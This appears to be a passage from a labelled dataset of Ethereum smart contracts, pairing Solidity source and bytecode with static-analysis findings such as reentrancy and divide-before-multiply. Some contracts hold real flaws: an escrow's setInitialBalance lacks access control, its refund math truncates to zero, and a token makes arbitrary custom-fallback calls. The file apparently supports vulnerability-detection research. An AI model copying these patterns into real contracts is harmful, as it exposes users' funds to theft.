>= startTimestamp); } /** * @dev Calculates the amount of bonus coins the buyer gets * @param tokens uint the amount of tokens you get according to current rate * @return uint the amount of bonus tokens the buyer gets */ function bonusAmmount(uint256 tokens) internal returns(uint256) { uint256 bonus5 = tokens /20; // add bonus 20% in first 24hours, 15% in first week, 10% in 2nd week if (now < startTimestamp + 24 hours) { // 5080 is aprox 24h return bonus5 * 4; } else if (now < startTimestamp + 1 weeks) { return bonus5 * 3; } else if (now < startTimestamp + 2 weeks) { return bonus5 * 2; } else { return 0; } } // check if valid purchase modifier validPurchase { require(now >= startTimestamp); require(now <= endTimestamp); require(msg.value >= minContribution); require(weiRaised.add(msg.value).add(raisedInPresale) <= hardcap); _; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { bool timeLimitReached = now > endTimestamp; bool capReached = weiRaised.add(raisedInPresale) >= hardcap; return timeLimitReached || capReached; } // low level token purchase function function buyTokens(address beneficiary) payable validPurchase { require(beneficiary != 0x0); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); tokens = tokens + bonusAmmount(tokens); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); hardwareWallet.transfer(msg.value); } // finish mining coins and transfer ownership of Change coin to owner function finishMinting() public onlyOwner { require(hasEnded()); uint issuedTokenSupply = token.totalSupply(); uint restrictedTokens = issuedTokenSupply.mul(60).div(40); token.mint(hardwareWallet, restrictedTokens); token.finishMinting(); token.transferOwnership(owner); MainSaleClosed(); } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } }
0x606060405236156100b45763ffffffff60e060020a6000350416632c4e722e81146100c15780634042b66f146100e65780637366e3ff1461010b5780637d64bcb4146101305780638da5cb5b14610145578063a85adeab14610174578063aaffadf314610199578063b071cbe6146101be578063e6fd48bc146101e3578063e9edf4cd14610208578063ec8ac4d814610237578063ecb70fb71461024d578063f2fde38b14610274578063fc0c546a14610295575b5b6100be336102c4565b5b005b34156100cc57600080fd5b6100d461047f565b60405190815260200160405180910390f35b34156100f157600080fd5b6100d4610485565b60405190815260200160405180910390f35b341561011657600080fd5b6100d461048b565b60405190815260200160405180910390f35b341561013b57600080fd5b6100be610491565b005b341561015057600080fd5b6101586106cd565b604051600160a060020a03909116815260200160405180910390f35b341561017f57600080fd5b6100d46106dc565b60405190815260200160405180910390f35b34156101a457600080fd5b6100d46106e2565b60405190815260200160405180910390f35b34156101c957600080fd5b6100d46106e8565b60405190815260200160405180910390f35b34156101ee57600080fd5b6100d46106ee565b60405190815260200160405180910390f35b341561021357600080fd5b6101586106f4565b604051600160a060020a03909116815260200160405180910390f35b6100be600160a060020a03600435166102c4565b005b341561025857600080fd5b610260610703565b604051901515815260200160405180910390f35b341561027f57600080fd5b6100be600160a060020a036004351661073e565b005b34156102a057600080fd5b610158610796565b604051600160a060020a03909116815260200160405180910390f35b60008060025442101515156102d857600080fd5b6003544211156102e757600080fd5b6007543410156102f657600080fd5b600854610320600954610314346006546107a590919063ffffffff16565b9063ffffffff6107a516565b111561032b57600080fd5b600160a060020a038316151561034057600080fd5b60055434925061035790839063ffffffff6107bf16565b9050610362816107ee565b600654910190610378908363ffffffff6107a516565b600655600154600160a060020a03166340c10f19848360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156103da57600080fd5b6102c65a03f115156103eb57600080fd5b505050604051805190505082600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18848460405191825260208201526040908101905180910390a3600454600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561047857600080fd5b5b5b505050565b60055481565b60065481565b60095481565b60008054819033600160a060020a039081169116146104af57600080fd5b6104b7610703565b15156104c257600080fd5b600154600160a060020a03166318160ddd6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561050a57600080fd5b6102c65a03f1151561051b57600080fd5b505050604051805192506105499050602861053d84603c63ffffffff6107bf16565b9063ffffffff61085416565b600154600454919250600160a060020a03908116916340c10f1991168360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156105b257600080fd5b6102c65a03f115156105c357600080fd5b50505060405180515050600154600160a060020a0316637d64bcb46000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561061557600080fd5b6102c65a03f1151561062657600080fd5b50505060405180515050600154600054600160a060020a039182169163f2fde38b911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561068757600080fd5b6102c65a03f1151561069857600080fd5b5050507f1a67d6e5b402fe0ff129cb2047b6e67ba18b8dde04bb285faed9e709d6b1eb2760405160405180910390a15b5b5050565b600054600160a060020a031681565b60035481565b60075481565b60085481565b60025481565b600454600160a060020a031681565b6000806000600354421191506008546107296009546006546107a590919063ffffffff16565b1015905081806107365750805b92505b505090565b60005433600160a060020a0390811691161461075957600080fd5b600160a060020a03811615610791576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b600154600160a060020a031681565b6000828201838110156107b457fe5b8091505b5092915050565b60008282028315806107db57508284828115156107d857fe5b04145b15156107b457fe5b8091505b5092915050565b6000806014835b04905060025462015180014210156108125780600402915061084b565b60025462093a800142101561082c5780600302915061084b565b60025462127500014210156108465780600202915061084b565b600091505b5b5b5b50919050565b600080828481151561086257fe5b0490508091505b50929150505600a165627a7a72305820c7ac9f6c1dd921ea91a39ac9550d1358611940a1fc13ff0d346a88c91d2561680029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4
0x198cf24375eccdf599c624d10f0c6fb9b75ec215
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /* * Manager that stores permitted addresses */ contract PermissionManager is Ownable { mapping (address => bool) permittedAddresses; function addAddress(address newAddress) public onlyOwner { permittedAddresses[newAddress] = true; } function removeAddress(address remAddress) public onlyOwner { permittedAddresses[remAddress] = false; } function isPermitted(address pAddress) public view returns(bool) { if (permittedAddresses[pAddress]) { return true; } return false; } } contract Registry is Ownable { struct ContributorData { bool isActive; uint contributionETH; uint contributionUSD; uint tokensIssued; uint quoteUSD; uint contributionRNTB; } mapping(address => ContributorData) public contributorList; mapping(uint => address) private contributorIndexes; uint private nextContributorIndex; /* Permission manager contract */ PermissionManager public permissionManager; bool public completed; modifier onlyPermitted() { require(permissionManager.isPermitted(msg.sender)); _; } event ContributionAdded(address _contributor, uint overallEth, uint overallUSD, uint overallToken, uint quote); event ContributionEdited(address _contributor, uint overallEth, uint overallUSD, uint overallToken, uint quote); function Registry(address pManager) public { permissionManager = PermissionManager(pManager); completed = false; } function setPermissionManager(address _permadr) public onlyOwner { require(_permadr != 0x0); permissionManager = PermissionManager(_permadr); } function isActiveContributor(address contributor) public view returns(bool) { return contributorList[contributor].isActive; } function removeContribution(address contributor) public onlyPermitted { contributorList[contributor].isActive = false; } function setCompleted(bool compl) public onlyPermitted { completed = compl; } function addContribution(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote ) public onlyPermitted { if (contributorList[_contributor].isActive == false) { contributorList[_contributor].isActive = true; contributorList[_contributor].contributionETH = _amount; contributorList[_contributor].contributionUSD = _amusd; contributorList[_contributor].tokensIssued = _tokens; contributorList[_contributor].quoteUSD = _quote; contributorIndexes[nextContributorIndex] = _contributor; nextContributorIndex++; } else { contributorList[_contributor].contributionETH += _amount; contributorList[_contributor].contributionUSD += _amusd; contributorList[_contributor].tokensIssued += _tokens; contributorList[_contributor].quoteUSD = _quote; } ContributionAdded(_contributor, contributorList[_contributor].contributionETH, contributorList[_contributor].contributionUSD, contributorList[_contributor].tokensIssued, contributorList[_contributor].quoteUSD); } function editContribution(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote) public onlyPermitted { if (contributorList[_contributor].isActive == true) { contributorList[_contributor].contributionETH = _amount; contributorList[_contributor].contributionUSD = _amusd; contributorList[_contributor].tokensIssued = _tokens; contributorList[_contributor].quoteUSD = _quote; } ContributionEdited(_contributor, contributorList[_contributor].contributionETH, contributorList[_contributor].contributionUSD, contributorList[_contributor].tokensIssued, contributorList[_contributor].quoteUSD); } function addContributor(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote) public onlyPermitted { contributorList[_contributor].isActive = true; contributorList[_contributor].contributionETH = _amount; contributorList[_contributor].contributionUSD = _amusd; contributorList[_contributor].tokensIssued = _tokens; contributorList[_contributor].quoteUSD = _quote; contributorIndexes[nextContributorIndex] = _contributor; nextContributorIndex++; ContributionAdded(_contributor, contributorList[_contributor].contributionETH, contributorList[_contributor].contributionUSD, contributorList[_contributor].tokensIssued, contributorList[_contributor].quoteUSD); } function getContributionETH(address _contributor) public view returns (uint) { return contributorList[_contributor].contributionETH; } function getContributionUSD(address _contributor) public view returns (uint) { return contributorList[_contributor].contributionUSD; } function getContributionRNTB(address _contributor) public view returns (uint) { return contributorList[_contributor].contributionRNTB; } function getContributionTokens(address _contributor) public view returns (uint) { return contributorList[_contributor].tokensIssued; } function addRNTBContribution(address _contributor, uint _amount) public onlyPermitted { if (contributorList[_contributor].isActive == false) { contributorList[_contributor].isActive = true; contributorList[_contributor].contributionRNTB = _amount; contributorIndexes[nextContributorIndex] = _contributor; nextContributorIndex++; } else { contributorList[_contributor].contributionETH += _amount; } } function getContributorByIndex(uint index) public view returns (address) { return contributorIndexes[index]; } function getContributorAmount() public view returns(uint) { return nextContributorIndex; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { struct TKN { address sender; uint value; bytes data; bytes4 sig; } /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; if(_data.length > 0) { uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract ERC223Interface { uint public totalSupply; function balanceOf(address who) public view returns (uint); function allowedAddressesOf(address who) public view returns (bool); function getTotalSupply() public view returns (uint); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes data); event TransferContract(address indexed from, address indexed to, uint value, bytes data); } /** * @title Unity Token is ERC223 token. * @author Vladimir Kovalchuk */ contract UnityToken is ERC223Interface { using SafeMath for uint; string public constant name = "Unity Token"; string public constant symbol = "UNT"; uint8 public constant decimals = 18; /* The supply is initially 100UNT to the precision of 18 decimals */ uint public constant INITIAL_SUPPLY = 100000 * (10 ** uint(decimals)); mapping(address => uint) balances; // List of user balances. mapping(address => bool) allowedAddresses; modifier onlyOwner() { require(msg.sender == owner); _; } function addAllowed(address newAddress) public onlyOwner { allowedAddresses[newAddress] = true; } function removeAllowed(address remAddress) public onlyOwner { allowedAddresses[remAddress] = false; } address public owner; /* Constructor initializes the owner&#39;s balance and the supply */ function UnityToken() public { owner = msg.sender; totalSupply = INITIAL_SUPPLY; balances[owner] = INITIAL_SUPPLY; } function getTotalSupply() public view returns (uint) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { if (isContract(_to)) { require(allowedAddresses[_to]); if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); TransferContract(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(allowedAddresses[_to]); if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); TransferContract(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } function allowedAddressesOf(address _owner) public view returns (bool allowed) { return allowedAddresses[_owner]; } } /** * @title Hold contract. * @author Vladimir Kovalchuk */ contract Hold is Ownable { uint8 stages = 5; uint8 public percentage; uint8 public currentStage; uint public initialBalance; uint public withdrawed; address public multisig; Registry registry; PermissionManager public permissionManager; uint nextContributorToTransferEth; address public observer; uint dateDeployed; mapping(address => bool) private hasWithdrawedEth; event InitialBalanceChanged(uint balance); event EthReleased(uint ethreleased); event EthRefunded(address contributor, uint ethrefunded); event StageChanged(uint8 newStage); event EthReturnedToOwner(address owner, uint balance); modifier onlyPermitted() { require(permissionManager.isPermitted(msg.sender) || msg.sender == owner); _; } modifier onlyObserver() { require(msg.sender == observer || msg.sender == owner); _; } function Hold(address _multisig, uint cap, address pm, address registryAddress, address observerAddr) public { percentage = 100 / stages; currentStage = 0; multisig = _multisig; initialBalance = cap; dateDeployed = now; permissionManager = PermissionManager(pm); registry = Registry(registryAddress); observer = observerAddr; } function setPermissionManager(address _permadr) public onlyOwner { require(_permadr != 0x0); permissionManager = PermissionManager(_permadr); } function setObserver(address observerAddr) public onlyOwner { require(observerAddr != 0x0); observer = observerAddr; } function setInitialBalance(uint inBal) public { initialBalance = inBal; InitialBalanceChanged(inBal); } function releaseAllETH() onlyPermitted public { uint balReleased = getBalanceReleased(); require(balReleased > 0); require(this.balance >= balReleased); multisig.transfer(balReleased); withdrawed += balReleased; EthReleased(balReleased); } function releaseETH(uint n) onlyPermitted public { require(this.balance >= n); require(getBalanceReleased() >= n); multisig.transfer(n); withdrawed += n; EthReleased(n); } function getBalance() public view returns (uint) { return this.balance; } function changeStageAndReleaseETH() public onlyObserver { uint8 newStage = currentStage + 1; require(newStage <= stages); currentStage = newStage; StageChanged(newStage); releaseAllETH(); } function changeStage() public onlyObserver { uint8 newStage = currentStage + 1; require(newStage <= stages); currentStage = newStage; StageChanged(newStage); } function getBalanceReleased() public view returns (uint) { return initialBalance * percentage * currentStage / 100 - withdrawed ; } function returnETHByOwner() public onlyOwner { require(now > dateDeployed + 183 days); uint balance = getBalance(); owner.transfer(getBalance()); EthReturnedToOwner(owner, balance); } function refund(uint _numberOfReturns) public onlyOwner { require(_numberOfReturns > 0); address currentParticipantAddress; for (uint cnt = 0; cnt < _numberOfReturns; cnt++) { currentParticipantAddress = registry.getContributorByIndex(nextContributorToTransferEth); if (currentParticipantAddress == 0x0) return; if (!hasWithdrawedEth[currentParticipantAddress]) { uint EthAmount = registry.getContributionETH(currentParticipantAddress); EthAmount -= EthAmount * (percentage / 100 * currentStage); currentParticipantAddress.transfer(EthAmount); EthRefunded(currentParticipantAddress, EthAmount); hasWithdrawedEth[currentParticipantAddress] = true; } nextContributorToTransferEth += 1; } } function() public payable { } function getWithdrawed(address contrib) public onlyPermitted view returns (bool) { return hasWithdrawedEth[contrib]; } }
0x6060604052600436106101025763ffffffff60e060020a60003504166245626f811461010457806312065fe01461011757806314f796ca1461013c57806318369a2a1461014f578063244f489414610162578063278ecde114610195578063465105f0146101ab5780634783c35b146101be57806349e4b3e5146101ed5780635bf5d54c1461020c5780638da5cb5b1461023557806394d9c9c7146102485780639a79712814610267578063c06702dd1461027a578063c78ad77f1461028d578063c7f8fe65146102a0578063cc7a2049146102b3578063eb70e498146102c6578063f2fde38b146102d9578063f5710cc5146102f8578063f9a075dc1461030e575b005b341561010f57600080fd5b610102610324565b341561012257600080fd5b61012a6103ed565b60405190815260200160405180910390f35b341561014757600080fd5b6101026103fb565b341561015a57600080fd5b61012a6104dd565b341561016d57600080fd5b610181600160a060020a03600435166104e3565b604051901515815260200160405180910390f35b34156101a057600080fd5b61010260043561059c565b34156101b657600080fd5b6101026107e4565b34156101c957600080fd5b6101d161091e565b604051600160a060020a03909116815260200160405180910390f35b34156101f857600080fd5b610102600160a060020a036004351661092d565b341561021757600080fd5b61021f61098c565b60405160ff909116815260200160405180910390f35b341561024057600080fd5b6101d161099c565b341561025357600080fd5b610102600160a060020a03600435166109ab565b341561027257600080fd5b61012a610a0a565b341561028557600080fd5b610102610a10565b341561029857600080fd5b61021f610aea565b34156102ab57600080fd5b61012a610b0c565b34156102be57600080fd5b6101d1610b4a565b34156102d157600080fd5b6101d1610b59565b34156102e457600080fd5b610102600160a060020a0360043516610b68565b341561030357600080fd5b610102600435610c03565b341561031957600080fd5b610102600435610c3e565b6000805433600160a060020a0390811691161461034057600080fd5b60085462f1428001421161035357600080fd5b61035b6103ed565b600054909150600160a060020a03166108fc6103756103ed565b9081150290604051600060405180830381858888f19350505050151561039a57600080fd5b6000547fb0713fd859084b92ed26a9ae29b593554272da77e2b0019f9e8a714e5696ada290600160a060020a031682604051600160a060020a03909216825260208201526040908101905180910390a150565b600160a060020a0330163190565b60075460009033600160a060020a0390811691161480610429575060005433600160a060020a039081169116145b151561043457600080fd5b5060005460b060020a810460ff908116600101917401000000000000000000000000000000000000000090048116908216111561047057600080fd5b6000805476ff00000000000000000000000000000000000000000000191660b060020a60ff8416021790557f273467821f33675618854603ef917ebcec8a1a39f95c43d5564ed1aefab870b38160405160ff909116815260200160405180910390a16104da6107e4565b50565b60015481565b600554600090600160a060020a0316633fd8cc4e33836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561053e57600080fd5b6102c65a03f1151561054f57600080fd5b5050506040518051905080610572575060005433600160a060020a039081169116145b151561057d57600080fd5b50600160a060020a031660009081526009602052604090205460ff1690565b600080548190819033600160a060020a039081169116146105bc57600080fd5b600084116105c957600080fd5b600091505b838210156107de57600454600654600160a060020a039091169063085d19739060006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561062d57600080fd5b6102c65a03f1151561063e57600080fd5b5050506040518051935050600160a060020a038316151561065e576107de565b600160a060020a03831660009081526009602052604090205460ff1615156107c857600454600160a060020a0316632785fb988460006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156106d957600080fd5b6102c65a03f115156106ea57600080fd5b505050604051805160005490925060ff60b060020a8204811692506064917501000000000000000000000000000000000000000000900416040260ff1681028103905082600160a060020a03166108fc829081150290604051600060405180830381858888f19350505050151561076057600080fd5b7fffab3269bdaceca4d1bbc53e74b982ac2b306687e17e21f1e499e7fdf6751ac88382604051600160a060020a03909216825260208201526040908101905180910390a1600160a060020a0383166000908152600960205260409020805460ff191660011790555b60068054600190810190915591909101906105ce565b50505050565b600554600090600160a060020a0316633fd8cc4e33836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561083f57600080fd5b6102c65a03f1151561085057600080fd5b5050506040518051905080610873575060005433600160a060020a039081169116145b151561087e57600080fd5b610886610b0c565b90506000811161089557600080fd5b600160a060020a03301631819010156108ad57600080fd5b600354600160a060020a031681156108fc0282604051600060405180830381858888f1935050505015156108e057600080fd5b60028054820190557f6c5a44000b36584e7c69c5f29c728355fd8b870c7123f6b75a32511001af27368160405190815260200160405180910390a150565b600354600160a060020a031681565b60005433600160a060020a0390811691161461094857600080fd5b600160a060020a038116151561095d57600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005460b060020a900460ff1681565b600054600160a060020a031681565b60005433600160a060020a039081169116146109c657600080fd5b600160a060020a03811615156109db57600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60025481565b60075460009033600160a060020a0390811691161480610a3e575060005433600160a060020a039081169116145b1515610a4957600080fd5b5060005460b060020a810460ff9081166001019174010000000000000000000000000000000000000000900481169082161115610a8557600080fd5b6000805476ff00000000000000000000000000000000000000000000191660b060020a60ff8416021790557f273467821f33675618854603ef917ebcec8a1a39f95c43d5564ed1aefab870b38160405160ff909116815260200160405180910390a150565b6000547501000000000000000000000000000000000000000000900460ff1681565b600254600054600154606460b060020a830460ff90811675010000000000000000000000000000000000000000009094041690910291909102040390565b600554600160a060020a031681565b600754600160a060020a031681565b60005433600160a060020a03908116911614610b8357600080fd5b600160a060020a0381161515610b9857600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60018190557f8e43342fbe0fafce18a1b26c3f117f53a29d56dfabfedec55e0faa082612e8848160405190815260200160405180910390a150565b600554600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610c9757600080fd5b6102c65a03f11515610ca857600080fd5b5050506040518051905080610ccb575060005433600160a060020a039081169116145b1515610cd657600080fd5b600160a060020a0330163181901015610cee57600080fd5b80610cf7610b0c565b10156108ad57600080fd00a165627a7a723058206ad16dc1d634a4d92589db00657b0b1511c4eaf919c0c64223f2dac658bffa8b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5
0x507ae33c5a059cb22217bad9fb2a9d929908866e
pragma solidity 0.6.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a, m); uint256 d = sub(c, 1); return mul(div(d,m),m); } } interface IKEK { function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function burn(address account, uint256 amount) external; } interface IFARMINGPOOL { function getTotalStakedAmount() external view returns (uint256); function getStakedAmount(address account) external view returns (uint256); function getStakers() external view returns (address[] memory); } contract StakingReward is Context { using SafeMath for uint256; // Events event ClaimedReward(address account, uint256 amount); // states struct Gains { uint256 RPEPEBLUPendingGains; uint256 RPEPELPURPLEPendingGains; uint256 RPEPEBLUTotalGained; uint256 RPEPELPURPLETotalGained; } address private _RPEPEBLU; address private _RPEPELPURPLE; address private _KEK; uint private _lastTimestamp; uint private _timeInterval; uint256 private _rewardBlockAmount; uint256 private _totalRewardsPerDay; mapping(address => Gains) private _gains; constructor(address kek, address rpepeblu, address rpepelpurple, uint timeInterval) public { _KEK = kek; _RPEPEBLU = rpepeblu; _RPEPELPURPLE = rpepelpurple; // Set the initial last timestamp _lastTimestamp = block.timestamp; // Set the initial staking reward block size _rewardBlockAmount = 260000E18; // time interval for create reward block and claim reward // This value will be 1 day _timeInterval = timeInterval; } /** * @dev API to get reward block size */ function getRewardBlockAmount() external view returns (uint256) { return _rewardBlockAmount; } /** * @dev API to get the staker's pending gains in RPEPEBLU pool */ function getPendingGainsInRPEPEBLU(address account) public view returns (uint256) { return _gains[account].RPEPEBLUPendingGains; } /** * @dev API to get the staker's pending gains in RPEPELPURPLE pool */ function getPendingGainsInRPEPELPURPLE(address account) public view returns (uint256) { return _gains[account].RPEPELPURPLEPendingGains; } /** * @dev API to get the staker's total gained in RPEPEBLU pool */ function getTotalGainedInRPEPEBLU(address account) public view returns (uint256) { return _gains[account].RPEPEBLUTotalGained; } /** * @dev API to get the staker's total gained in RPEPELPURPLE pool */ function getTotalGainedInRPEPELPURPLE(address account) public view returns (uint256) { return _gains[account].RPEPELPURPLETotalGained; } /** * @dev API to get total amount staked in RPEPEBLU and RPEPELPURPLE pools */ function getTotalStakedAmountInPools() public view returns (uint256) { uint256 stakedAmountInPKPool = IFARMINGPOOL(_RPEPEBLU).getTotalStakedAmount(); uint256 stakedAmountInLPPool = 